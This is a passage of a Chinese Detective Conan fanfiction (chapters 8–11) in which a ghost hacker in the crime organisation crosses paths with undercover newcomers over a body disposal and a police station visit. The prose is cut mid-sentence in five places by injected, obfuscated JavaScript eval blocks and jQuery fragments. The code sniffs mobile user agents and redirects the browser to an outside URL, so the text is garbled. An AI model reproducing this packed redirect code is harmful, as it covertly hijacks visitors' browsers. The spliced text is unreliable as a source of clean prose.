他的目光在后排座位停留一瞬,虽然他不算有洁癖,但也是爱干净的,没必要强求自己坐别人刚吐过的位置,随后坐到了副驾驶上。
年轻又帅气的司机一只手搭在方向盘上,语气平淡的询问道:“您要去哪里?”
“殡仪馆。”风间羽栖系好安全带,在他说出目的地后,诸伏景光的肌肉微不可察的紧绷一瞬。
诸伏景光稍稍握紧了方向盘,是巧合吗?他一边发动汽车一边想。
看这个乘客的穿着打扮,不像是要去殡仪馆的,而且他也正好要去殡仪馆处理尸体。
曾经听说过,组织里是会有考核官伪装成普通人来考察新人的。虽然现在考核还没正式开始,但是的确有这个可能,毕竟都是游走在黑暗的非法组织,里面的成员一向随心所欲。
不过,诸伏景光余光瞥了一眼副驾驶上的人,如果这个人是考核官的话,会不会有点太年轻了?
看样子不过才二十岁左右的年纪,在日本,20岁才算成年,也就是说他还是个未成年就已经进入组织了。诸伏景光微微皱了下眉,心想应该是他想错了,或许真的是个路人。
他打听过以往考核官的消息,那些考核官都是行动组出身,一般是进入组织很久的代号成员。
而且他所知道的行动组的组织成员都是成年人,毕竟出入很多场合,做很多任务都还是成年人方便一些,组织虽然做的是违法的事但也没那么爱给自己找麻烦。
“殡仪馆吗?”诸伏景光还是稍微试探道:“需要在附近的花店买束白菊吗?”
的确是有买花祭奠死者的说法。
风间羽栖摇了摇头:“不用了。”他语气淡淡:“反正都要变成灰的。”
应该只是一个比较看得开的人,诸伏景光心底稍微松了口气,他进入组织的时间不久,三观都还停留在警校时期,虽然当初卧底的前辈告诫过他们,进入组织就要做好被染黑的准备,伪装、打架、窃取情报、伤人甚至是杀人……
哪怕他已经做好心理准备,但如果组织真的有未成年的组织成员,他很可能无法对这些未成年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266278|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人冷酷对待。
童年亲眼见过父母惨死,他太明白血腥对未成年的孩子来说有多么残酷,所以面对未成年人,他往往狠不下心。
风间羽栖注意到了诸伏景光一瞬间的走神。
好奇怪,其实刚刚他扫了一眼车后座的位置,座椅上没有什么呕吐物残留,反倒是缝隙有什么红褐色的液体干涸的痕迹。
不知道是不是错觉,他刚刚打开车门车内和车外空气接触、香水味变淡的一瞬间,他似乎闻到了一点铁锈味。
车开到了一个十字路口,正好是红灯。风间羽栖实在是有点受不了车里过于浓郁的香水味,打算打开车窗透透风,顺便证实一下他的猜测。
刚刚做出动作的瞬间,另一只手从旁边伸了过来按住了他的手。
对身为鬼的风间羽栖来说,过于灼热的温度透过黑色的皮质手套传到他的手上。
幸好带了手套,一瞬间风间羽栖脑海中闪过了这个想法。
刚刚没有防备,现在反应过来后他眯了眯眼转过头看向诸伏景光。
只见这个年轻又帅气的过分的司机侧头看着他的眼睛,微微笑道:“不好意思客人。”
这是他今天听到这个司机说的第二次不好意思。
帅气的司机仍然按着他的手,以一种看似轻飘飘实则让人完全挣脱不掉的力气压制住了他的所有动作。
司机靠的很近,以一种亲密的姿态温柔的轻声道:“车里开了空调。”
哇哦,好像是贝尔摩德十分擅长的honey trap。
风间羽栖才发现刚刚他抬手的一瞬间,空调已经开了。
更可疑了。
风间羽栖心想,这个司机肯定不简单,车上的疑点、刚刚他出手的速度和控制人的姿态都证明了这个司机肯定不是单纯的司机。
或许和安室透这个服务员兼职侦探一样,这个司机也有什么不为人知的“兼职”。
但是不知道为什么,系统并没有提示这个人是关键人物。
他没有纠结太多,也没有强硬着要开窗,毕竟那么长时间过去,他的鼻子已经适应了这个味道。
风间羽栖轻轻动了动手腕,将手从司机的掌心下翻转挣脱。
手套下的手心已经被捂的有点冒汗。
‘系统……’风间羽栖吐槽,他已经认定了刚刚在后车座上看见的红褐色痕迹是血氧化后留下的:‘怎么现在我碰见案件的概率那么高?’
系统不语,系统自己也开始怀疑是不是自己的问题。
前方的红灯跳转。风间羽栖没有向司机提出疑问也没有继续刚刚的话题。
风间羽栖神色平静的看向前方,在后面的车不耐烦的按喇叭之前,轻轻的隔着手套握住司机的手腕,将他的手放到方向盘上。
“司机先生,绿灯了。”风间羽栖手指暧昧的轻点他的腕骨,语气温和的提示道。
honey trap谁不会呢?
风间羽栖在心底冷笑,等会一下车他就要把这个司机举报到公安那。
没办法,谁让他是未来的米花十佳好公民呢?
8. 第 8 章
接下来一段路两个各怀鬼胎的人还算相安无事。
到了殡仪馆,风间羽栖付完钱下了车,关上车门的时候,余光撇见这位司机先生不自觉的摸了摸自己的手腕。
扳回一城,看来和贝尔摩德学的东西还挺有用的嘛,风间羽栖笑吟吟的朝出租车的方向挥了挥手,随后进了殡仪馆。
踏进大门后却没听见车子发动的声音,似乎出租车还停在门外。
风间羽栖给公安发信息的手一顿。
等等,如果说车上有尸体的话,那凶手应该是在准备处理尸体的途中遇见他的。
不会吧……那岂不是说他的目的地和司机的目的地是一样的吗?风间羽栖有点微妙的想,如果司机的目的是把尸体运到殡仪馆来,然后再通过焚尸炉销毁尸体的话,那殡仪馆应该有他的同伙。
与此同时,他听见前方传来了脚步声,很轻。
和当时安室透的脚步一样,如果周围有稍微一点的动静都可以把这个脚步声完全遮掩住。但是殡仪馆里很安静,所以风间羽栖还是能听到前方轻微的皮鞋和地面摩擦时传出的声音。
他警惕的抬头,对上了一双十分冷静的绿色的眼睛。
不知道为什么,或许是气场的原因,眼前这个人让他想到了琴酒,虽然他们的样貌并不相像。风间羽栖手指在手机屏幕上轻点,把信息里的“一个犯人”改成了“两个犯人”。
“你好。”绿色眼睛的男人走到了面前,稍微勾了勾嘴角,却是十分冷淡的语调。
“你好。”风间羽栖发送了消息把手机放进口袋里,若无其事的回答:“我是来签字的。”
[您已遇见关键角色。]
[印象值+1。]
风间羽栖:?
所以这个人是关键角色?那刚刚那个司机,也就是这个人的同伙,为什么不是关键角色?
‘系统,’风间羽栖戳了戳系统:‘你们对关键角色的判断是什么?’
系统为难:‘对不起宿主,这个和剧情有关。’
也就是暂时没办法告诉的意思,风间羽栖明白了,于是他不再去询问。
不过,关键角色应该是有反派的吧,毕竟眼前的这个男人是刚刚那个司机的同伙,杀/人/抛/尸这种事,一看就不像是好人会做的。
和系统的对话不过是几秒之间,面前的人没有察觉到异样,化名为诸星大的赤井秀一打量了一下风间羽栖。
他混进殡仪馆不过几个小时,风间羽栖算是他遇到的第一个客人,看起来很年轻,而且是一个人来殡仪馆的吗?虽然赤井秀一没有了解过日本的丧葬文化,但也能察觉出风间羽栖的不对劲——主要是,他的姿态实在是不像来送丧的。
赤井秀一做了个请的手势,不过这件事和他的任务无关,他现在首要的任务是等着搭档把尸体运送过来。
但是他这位临时搭档的动作也有点太慢了,赤井秀一原本预估是两个小时就能完成这个收尾任务,只摸清了逃跑的路线和焚尸炉在哪,根本没有提前摸清签字的地方。
所以,赤井秀一其实完全不知道自己是往哪个地方走的。
但他仍然表面淡定的带着风间羽栖绕了一圈。
风间羽栖一开始没有察觉到不对劲,当他发现刚刚经过的地方似乎自己已经来过时:?
正打算开口询问,手机突然响了起来。
难道是公安那边的电话?毕竟他刚刚给公安发的举报信息,打电话来问问详情也是有可能的。风间羽栖掏出了手机,却发现联系人显示的是“V”。
——是贝尔摩德。
那不能不接了,毕竟贝尔摩德也是风间羽栖的上司,他只是一个酒厂的苦命打工人而已,怎么能不接上司的电话?风间羽栖惆怅的想。
而且,其实贝尔摩德算是他进入组织的第一引荐人,曾经还好心的教过他一些能力——比如honey trap,又比如如何简单的伪装自己的身形和面容。
算是他组织里的半个老师,不过风间羽栖并不会觉得她会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266279|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无缘无故的教导自己,毕竟她看起来那么漫不经心,像是在完成谁给她下达的任务一般。
所以他无数次的试探贝尔摩德这么做的原因,当然,最后他只能得到一种回答。
那是情报人员一贯的包裹在蜜糖下、神秘又委婉的警告——“亲爱的,探究女人的秘密,可不是一个好习惯哦?”
他稍稍放慢了脚步,在离赤井秀一远些的地方停下,接通了电话。
“喂?莎朗。”风间羽栖当然不可能傻到在外面直接讲出贝尔摩德这个代号,而是选择了一个她最常用的假名:“什么事?”
赤井秀一听到动静也停下脚步,听到这个名字后微微眯了眯眼,“莎朗”这个名字像是美国著名的那个女演员,不过是重名也不一定。
“呵呵……柏图斯,我看到新闻了,没想到你还有做侦探的天赋。”贝尔摩德满含深意的说。
新闻?什么新闻?风间羽栖皱了皱眉,一只手捂住话筒,走到赤井秀一面前,低声道:“手机可以借我用下吗?”
赤井秀一挑了挑眉,很爽快的把自己的备用机丢给了他。
风间羽栖快速的浏览了一下最近的新闻,果不其然在今天的新闻上看到了自己。
他表情古怪,这新闻标题写的什么?——两位神秘侦探联手快速侦破餐厅凶杀案!
点开一看,里面不止有他面对记者采访事的照片,甚至还有安室透看向他的照片。
不过这张照片只露了他的脸,安室透只露出了一个背影。
果然当时他应该早点离开的,帮警察探案上了新闻这件事虽然可以找理由敷衍过去,但是还是免不了诸多询问。
他道了声谢,把手机还给赤井秀一,然后又走远开始和贝尔摩德交谈。
“只是意外被卷进去了。”风间羽栖靠在墙角,决定转移话题:“你什么时候那么关心我了?”
贝尔摩德哼笑一声:“可不是我关心你,是琴酒。”
风间羽栖:“……你说谁?”
9. 第 9 章
风间羽栖的第一反应是贝尔摩德在开玩笑:“……你说谁?”
琴酒关心他?关心他是不是卧底能不能枪/毙吗?风间羽栖觉得,琴酒看到这条新闻然后举着枪质问他的概率比真的关心他的概率要大。
“琴酒。”贝尔摩德笑了一声:“很不敢置信吗?亲爱的,不要小看你自己的魅力。”
风间羽栖丝毫不信,贝尔摩德一般用这种语调说话时,往往代表着她在看好戏。
“毕竟像你这样好用的技术人员不多。”贝尔摩德暗含深意的说:“有时候我和琴酒出任务时,都能听到他骂‘还不如柏图斯的废物。’”
风间羽栖:“……”这似乎不是什么好话。
他看了一眼远处漫不经心站着的赤井秀一,略微有些无语的回答:“难道不是因为其他好用的技术人员都被他‘开除’了吗?”他没有直接说‘处理’,这也有点太过明显了。
“不管怎么说,琴酒都是对你念念不忘呢。”贝尔摩德在电话那头耸了耸肩。
其实贝尔摩德说的没错,在技术人员——当然,指的是会黑客技术的组织成员当中,风间羽栖的能力最为出色。
在组织里的黑客,大部分是主动加入组织的,这大部分中,有很多是学了一知半解就自诩技术天才想要闯荡一番的新手,剩下的正规学过这些技术的都是其他组织精心培养的卧底。
小部分是被抢进来的,不过这些被抢进来的也是良莠不齐,真正厉害的早就被一些合法组织或者国/家保护起来或者自己想办法逃了。而风间羽栖这个由顶级黑客大师教出来的,没机会成名的“沧海遗珠”成了一个意外,被组织捡了漏。
不过这些都不重要,风间羽栖抓住了重点:“所以他是怎么知道的?”
“你是不是忘了?几个月前你给琴酒发消息说自己得了绝症,让他记得帮你收尸别让你臭在家里。”贝尔摩德没有直接回答,反而提到了这件事,她的声音都染上了点笑意:“柏图斯,在这之前我真想不到,原来你那么大胆。”
风间羽栖:“……”
天知道他其实不是在开玩笑。他是实实在在的,真诚的让琴酒帮忙的,为此他甚至给琴酒打了一笔钱。
毕竟在他接触到的组织成员中,朗姆绝不可能帮他收尸,库拉索只听从朗姆的命令一向独来独往,贝尔摩德看似多情实则无情。
至于琴酒,其实让琴酒帮忙的希望也很渺茫。不过那段时间已经开始了“大清洗”,如果他真的绝症死了,失去联系后,组织必然会怀疑他是卧底已经叛逃,派琴酒来找他。
当然,现在他没死,而且还被朗姆指定为审核新人的主考官,而琴酒是他的搭档。那之前他给琴酒发的信息无疑就变成了玩笑般的挑衅。
风间羽栖已经能猜到贝尔摩德口中,琴酒的“关心”是什么了。
大概是“柏图斯不是说他要死了吗?我不介意送他一程。”这类的话,风间羽栖似乎已经听到了琴酒的冷笑。
贝尔摩德接下来的话却让他有点出乎意料:“琴酒真的去了,就在昨天。你和他的关系什么时候那么要好了?”
昨天?那不是他被卷进案件的时候吗?
风间羽栖:……
他想起来了,当时他确实在出餐厅的时候察觉到一道视线,还以为是太困了所以产生错觉了。
这种被窥视的感觉让他的心情有点糟糕,是不是该找时间去提高一下自己的体术和反侦察能力了?
虽然不知道琴酒是不是真如贝尔摩德所说的那样“关心”他,不过他知道贝尔摩德打电话来的目的了——试探他和琴酒的关系。
这里的关系指的是立场。
虽然组织里成员众多,除了大家都听命于“那位先生”外,成员之间也有亲疏之分,比如库拉索是朗姆阵营的、爱尔兰是皮斯克阵营的、伏特加是属于琴酒阵营的。
虽然琴酒比较年轻,在组织的地位没有那几位元老高,但是他成长的很快,假以时日肯定会在组织里占据重要的位置。
而风间羽栖表面上算是朗姆阵营的人,实际按他的行事作风来看更偏向于中立派。
所以贝尔摩德打电话是来试探他有没有可能反水到琴酒的阵营里。
风间羽栖十动然拒,他并不想牵扯进组织里这些人的权利斗争里去,所以他直接把这个皮球踢给了琴酒:“那你不该问我,该问他。”
“好吧。”贝尔摩德已经从他的回答中察觉出了他的态度,语气倒是表现的挺遗憾的,利落的挂了电话。
-
这一通电话大概维持了五分钟,赤井秀一计算着时间,一边快速寻找了下殡仪馆的平面地图,一边拿起刚刚借给风间羽栖的备用机点开了历史记录。
他放大了新闻里的一张照片,看见了一个不算陌生的金发男人的背影,他当然能认得出,这个金发男人也是和他同批进入组织的新人。
赤井秀一看向风间羽栖,就在刚刚,这个人走到他面前的时候,他闻到了一点香味。
和他随手在商场里买的那瓶香水味道一模一样,而那瓶香水此刻应该是在自己那个临时搭档的手上,用来遮掩车上的血腥味。
很自然的可以猜出,这个人是搭了他那位搭档的顺风车。
是巧合吗?虽然的确有这种命运般的巧合,不过赤井秀一更相信,巧合大多数是人为的。
或许是对电话那头的内容不太感兴趣,弯着一只脚,靠在墙角的有着琥珀色瞳孔的年轻人脚尖轻轻点了点地。
在裤腿的晃动之间,似乎显露出了底下藏着什么东西。赤井秀一对这样东西可太熟悉了,所以他第一时间就反应过来——是枪。
[印象值+20。]
刚挂了电话,风间羽栖就听到了系统的提示。
虽然他并不急着刷印象值,毕竟系统说他现在这个状态还能维持五年,主要是要参与剧情,不过白给的印象值不要白不要。
虽然不知道发生了什么,但风间羽栖可以靠系统给他作点小弊。
风间羽栖呼叫系统,让它把之前自己嫌烦关掉的关键
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266280|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
角色印象提示开启来。
人总是会真香的。他理直气壮的想。
[关键角色?对您的印象为:疑似是组织派来的考核官。]
短短一句话,信息量巨大。风间羽栖脑子宕机了一瞬。
他终于想到了一种被他忽略的可能性——这两个要毁/尸/灭/迹的犯人是他们组织的成员。
嗯,其实以组织的底线来看,的确非常有可能,只不过他高估了自己的运气,认为天下不会有那么巧合的事。
事实上,这个惊人的巧合就那么发生了。
现在最关键的是,对面的组织成员可能是通过某些手段,已经认出来了他,而他——报了警。
虽然他每次帮组织做任务的时候都很想报警把组织里面的人,包括他自己都抓起来。
不过他也只是想想,毕竟组织规模实在太大,抓两个人根本不足以组织覆灭,还会引起不必要的牺牲。
啊,要是被人质问,用“这是考核官在给他们的任务增加一点小小的难度”这种理由怎么样?
带着这样诡异的心情,他跟着虽然不认识路但是刚刚记了地图的赤井秀一来到了签字处。
在他签字的期间,赤井秀一收到了诸伏景光的消息,诸伏景光已经带着要处理的尸体偷偷潜进殡仪馆了。
正当赤井秀一在想怎么用一个合适的借口离开,就看见风间羽栖正在看文件的手一顿,朝他微微偏了偏头:“谢谢你带路,我现在没问题了哦?有事的话可以先去处理其他事。”
这相当于明示赤井秀一了,既然赤井秀一已经猜到了他是组织的考核官之一,他也知道了赤井秀一是要被考核的人,那为什么要掩饰呢?
直接明晃晃的用态度告诉他,让他觉得一切都在考核官的计划之内,包括报警。
——反正官大一级压死人。朗姆和贝尔摩德身为他的上司可没少给他找事,由此可见,压榨下属、给下属找麻烦是组织的企业文化——虽然是非法企业。
赤井秀一眯了眯眼:“谢谢理解。”随后如他预想的一样离开了。
风间羽栖松了口气,他刚刚算了下警局到这边的需要的时间,发现可能再过几分钟警察就要来了。
如果被警察怀疑搜身,可能会给他带来不小的麻烦——他的裤腿里绑着一把枪。
所以,最好的方式是,现在赶紧离开,他飞速的签完字,刚刚放下笔,却发现赤井秀一去而复返了。
风间羽栖:?
-
赤井秀一当然看出来了,风间羽栖是想让他离开,可组织的考核官会那么好心的放水,让他们完成任务吗?他并不相信。
也许风间羽栖会在他离开的时候做点手脚给任务加大难度,于是赤井秀一把工牌给了搭档——用这个工牌可以打开焚尸炉所在地方的大门。
然后在风间羽栖离开之前,他匆匆赶了回来。
风间羽栖:……
赤井秀一:……
门外有警笛声响起。
赤井秀一:?
10. 第 10 章
才时隔几天,风间羽栖再次来了警察局。
警察来后就在现场找的了他们两个人,风间羽栖猜测诸伏景光应该处理完尸体就立马走了,所以警察理所当然的认为他们两个就是举报信中的嫌疑人。
处理这趟案件的是风间羽栖的老熟人目暮警官。
多亏了目暮警官认识风间羽栖,所以风间羽栖出现在殡仪馆有了一个很正当的理由——毕竟目暮警官知道他有一个“弟弟”去世了。
而且他还展示了自己手机里发出去的信息,证明了自己就是举报人本人。
至于赤井秀一,风间羽栖没想到,赤井秀一临时混进殡仪馆的工作证件竟然是合法的。
——如果风间羽栖知道这里面有FBI的手笔就不会奇怪了。
所以赤井秀一身上的嫌疑也减轻了。
风间羽栖忽略掉落在身上那道极具存在感的目光,他知道赤井秀一在看他。
他也知道赤井秀一为什么看他——他在质疑风间羽栖,质疑他身为组织成员勾结日本警察。
这种做法很大胆,毕竟在组织里代号成员的地位比底层人员要高出太多。但是赤井秀一也很聪明,因为他知道,组织更喜欢有血性的狼而非摇尾乞怜的狗。
风间羽栖欣赏他的做法,这样的质疑恰到好处,称不上责问,也没有撕破脸面。
不过风间羽栖并不打算回应他的质疑。
毕竟组织里有各色各样的疯子——当然风间羽栖不是在骂自己,只是在陈述事实,组织里的人做出什么事都不奇怪。
而且……
[印象值+15。]
[关键角色?对您的印象为:善于伪装的愉悦犯。]
——人总喜欢给不合理的事找一个合理的理由。
回应质疑反而会漏洞百出,不如丢给其他人,让他们自己脑补。
尽管被平白无故的安上了一个“愉悦犯”头衔,风间羽栖朝赤井秀一笑了一下,是漫不经心的、为自己通过系统提示作弊的小小歉意。
不过这种歉意只有一点而已——反正赤井秀一是组织里的人,风间羽栖只想组织早日覆灭,当然不会为此感到过多的负罪感。
赤井秀一轻轻敲击手肘的手指一顿,不太明白这位组织的考核官这个笑的意味。
风间羽栖不在意他是什么反应,于是转头看向目暮警官,神色中满是期盼早点出警局的乖巧:“目暮警官,我可以走了吗?”
赤井秀一对他变脸的技术叹为观止。
目暮警官却在这真挚的让人难以拒绝的眼神下缓缓摇了摇头:“风间老弟啊……虽然你没什么嫌疑,但案件还没侦破,如果要出警局的话,需要找人保释。”
风间羽栖真心实意的露出一个失望和头疼的表情。
如果以考核官的身份命令这两个组织成员承认罪行怎么样?风间羽栖脑子里闪过了这么一个想法。
他自问自答——不怎么样,恐怕他这么做之后的第二天,琴酒的伯/莱/塔就会架在他的头上。
可要一个人帮他保释,这也属实有点为难风间羽栖。
大学的舍友?不可能,他决不会让他们和组织扯上关系;组织的同事?也不可能,要是让这些本来就没什么道德底线和同事情的人知道,他们不仅不会帮忙,还可能阴阳怪气的嘲笑;邻居?开什么玩笑——他甚至都不知道他的邻居长什么样。
最后风间羽栖脑海里浮现了某个金发黑皮的男人。
或许这是个好选择,安室透和他的关系没那么亲近,而且他是侦探,如果不是伪装,那大概是个有正义感的好心人,从他在餐厅当服务生来看,应该是没那么有钱的类型吧?
如果给了足够的报酬,可以拜托安室透来帮忙保释一下他吗?
风间羽栖眨了眨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266281|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼,快速在网上找了一下那家餐厅的电话——他没加安室透的联系方式,只能打餐厅的电话来找他。
“喂?你好,这里是米花餐厅。”不算陌生的声音热情的从听筒里传了出来:“请问客人有什么事吗?”
-
安室透心情有点微妙的来到了警局门口。
他实在是想不到竟然有人会通过餐厅电话,找餐厅的服务员帮忙保释。
虽然这件事很奇怪,不过风间羽栖给出了一个让寻常人难以拒绝的报酬——身为“安室透”的降谷零当然不会拒绝。
他踏进警局的大门,一眼就看见了揉着太阳穴,显得有点疲倦的青年。
是的,风间羽栖又困了,不过好在前一天的睡眠足够,现在的困意并不强烈。
“羽栖,”为了让其他人更相信自己和风间羽栖的朋友关系,安室透选择了一个比较亲密的称呼:“我来接你了。”
终于等到救星的风间羽栖蓦然抬头,或许是他的迫切太明显,百无聊赖的等FBI伪装的“朋友”保释的赤井秀一也将目光看向了他们那边。
看到安室透,赤井秀一有些意外不过没太出乎意料,毕竟从那篇新闻上他就知道安室透和风间羽栖认识,他不过没想到的是,风间羽栖叫来保释的人会是安室透。
安室透也看到了他。
两人的目光短暂的交锋了一下,显然安室透也没想到这件事竟然有和他同一批进入组织的新人参与。
安室透的神色没有变化,心中却缓缓升起一点警惕的心思。
如果这件事有组织的成员参与,那此刻同样在警局的风间羽栖又在这件事里充当了什么角色?
[印象值+10。]
[关键角色安室透对您的印象为:可疑……]
风间羽栖:……?
这又是为什么?他是逃不开可疑两个字了吗?!
11. 第 11 章
所以为什么安室透又觉得他很可疑?
——很快风间羽栖就知道答案了。
他看着电脑屏幕上组织新人的资料,对着照片上金发黑皮的男人陷入短暂的沉默当中。
怪不得刚刚安室透会觉得他可疑,原来是他认出来了和他同是组织新人的赤井秀一。
风间羽栖:……原来正义侦探的样子是伪装吗?
痛心疾首.jpg
接下来随意扫了一下其他新人的照片,果不其然看见了之前见过的那个司机——资料上显示他名为绿川明,而另一个在殡仪馆见过的“工作人员”——资料上显示他叫做诸星大。
大概让自己对新人的脸也印象后,风间羽栖开始仔细的看起了资料。
资料事先有人整理过,把潜力比较大的新人放在了前面。
目光从一行行资料上扫过,风间羽栖微微皱起了眉,将安室透、绿川明和诸星大三人的资料挑了出来,不知道为什么,他觉得这三份资料有些不对劲。
——实在是完美过头了。
完美不是指他们三人的资料毫无缺点,而是他们的缺陷放在普通人的世界很致命,但是在组织的人看来,这些缺点却是刚好能拿捏他们的手段。
而他们的潜力又很优秀,资料一眼扫过去就能判断出这几个人是一经打磨就能为组织所用的强大武器。
如果是之前的那位考核官,对于这样的资料一定不会产生怀疑。
之前组织里的考核官一向是由组织的老代号成员负责的。
这些成员足够衷心但因为能力的平庸,只能止步在组织不上不下的一个位置,所以他们对于能力有着过度的渴望和追求,在选择新人的时候,只会重点关注新人的潜力。
这样他们往往会自然而然的忽略了一点,越是符合组织要求的的新人,越有可能是其他地方精心包装后的卧底。
风间羽栖敢打包票的说,组织里的绝大多数卧底都是那么被放进来的。
不过虽然他怀疑这几个人是卧底,但是他没有证据——不过哪怕他们是卧底又如何?
风间羽栖合上电脑,升了个懒腰,他又不是组织忠心耿耿的狗,反而希望组织覆灭,卧底当然是越多越好。
所以,他并不打算把这几个人举报上去,反而会帮他们掩饰——如果他们真的是卧底的话。
-
最近琴酒变得更忙了,处理卧底是一瞬间的事,但是和boss还有朗姆报告可要耗费他不少心神——毕竟朗姆有意为难他。
所以几天后考核官和组织新人的见面会上,琴酒并没有来。
风间羽栖对此并不在意,有琴酒和没琴酒其实对他来说都一样,虽然之前那件乌龙可能会被琴酒当成挑衅,他需要多防备着点——但是谁说没有琴酒,他就会对其他成员没有防备了?
甚至连手底下他能掌控的那些底层人员,他都没有完全信任过他们。
所以无论有没有琴酒,他接触组织里的人时都不会有多放松。
风间羽栖是提前到这个安全屋的,甚至是提前了五个小时。
把位置定在组织的某个安全屋是他的决定,他并不喜欢把这种类似于见面会一样的地点定在组织基地或者酒吧——毕竟那里可能会出现别人,风间羽栖并没有被别人当成猴看的爱好。
这个安全屋是他很久以前选下来又废弃的,选择这个安全屋的原因在于这个安全屋靠近郊区比较隐蔽,而且空间大配置完整——地下室甚至有专门用于射击训练的靶场。
而废弃这个安全屋的原因也正是因为这两点,离街区太远,空间太大,在被这样冰冷孤寂的环境逼成疯子之前,风间羽栖选择搬离了这里。
今天为了见一见新人,他又重启了这个安全屋。
至于为什么提前到——废话,这个安全屋是他的,他不先来开门难道要那几个新人全都当门神一样站在门口吗?
这样的画面有点太美,他也没兴趣当一见面就给新人下马威的考核官。
结果让风间羽栖没想到的是,还真有人站在门口了。
……或许是他太想进步了。风间羽栖沉默一瞬,对此表示理解。
-
诸伏景光在收到消息后提前了六个小时到安全屋。
在这之前,他收到了同样在组织卧底的发小降谷零的隐秘信息。
是两条看起来并没有什么联系的新闻,一条是关于餐厅的凶杀案的,还有一条是关于殡仪馆的——殡仪馆的这条新闻他十分熟悉了,毕竟他自己就是罪犯之一。
不过就是这条新闻写的有些夸大其词,说他们焚烧尸体掩盖罪行倒是没什么问题,虽然人不是他们杀的,但是是他们善后的。可是为什么还要平白无故污蔑他们偷尸体的?
现在的记者……诸伏景光无奈的叹了口气,zero应该不至于专门发这条新闻给他,笑他背了个黑锅吧——虽然也有一部分可能——不过应该还有其他原因。
诸伏景光点开两条新闻,仔细的看了看新闻里的照片。
照片里都出现了同一个身影,在餐厅里被采访的神秘侦探,还有在被采访的警官背后的角落里,无精打采的等着保释的青年。
这道身影很熟悉,诸伏景光下意识的摸了摸腕骨,昨天这个人还用他带着皮质手套的泛着凉意的指尖在这里轻点。
但这不是重点——重点是这个有着琥珀色的青年都和他们几个进入组织的新人有着或多或少的联系。
——当然,“几个新人”指的是这批里最可能能拿到代号的几个。
是巧合吗?当然可能是,不过zero既然把这两条新闻发过来了,就不太可能是真的巧合了。
zero在提示他,这个人可能就是他们这次考核的考核官。
摸着手腕的诸伏景光垂着眼陷入沉思。
在这批新人里被组织重点关注的新人当中,诸星大有宫野明美搭桥代号成员雪莉,而发小降谷零扮演的安室透因为情报工作和贝尔摩德扯上了点关系。
他现在和组织代号成员搭线的进度为0,而且需要扮演的身份,是一个看似温和内敛实则野心勃勃,不择手段的狙击手。
温和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266282|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内敛很好展现,那野心勃勃又该怎么显露呢?
-
风间羽栖拿出钥匙丢给了诸伏景光。
在有组织新人的情况下,他并不打算自己开门,毕竟他是考核官,虽然不至于给新人找茬但也不会表现的多平易近人。
——在组织里,表现的太过无害容易被人蹬鼻子上脸。
诸伏景光抬手抓住钥匙,目光在他带着的黑色皮质手套上略过一瞬。
风间羽栖打了个哈欠,自然注意到了诸伏景光的目光。
“对我的手套很好奇?”风间羽栖开口问道。
从风间羽栖刚刚把钥匙丢给他来开门的动作上,诸伏景光明白了这位考核官不一定会喜欢新人对他的态度太过随意,于是他谨慎开口:“如果我回答是呢?”
风间羽栖笑,不知道是在为他谨慎的态度,还是旺盛的好奇心:“啊——没什么不可以说的。”
从小道一前一后走来的安室透和诸星大正好听到了他们的对话,于是非常感兴趣的看向了正在解答这个问题的风间羽栖。
“——我是鬼啊。”风间羽栖神色无辜的说:“不带手套接触不了活物。”
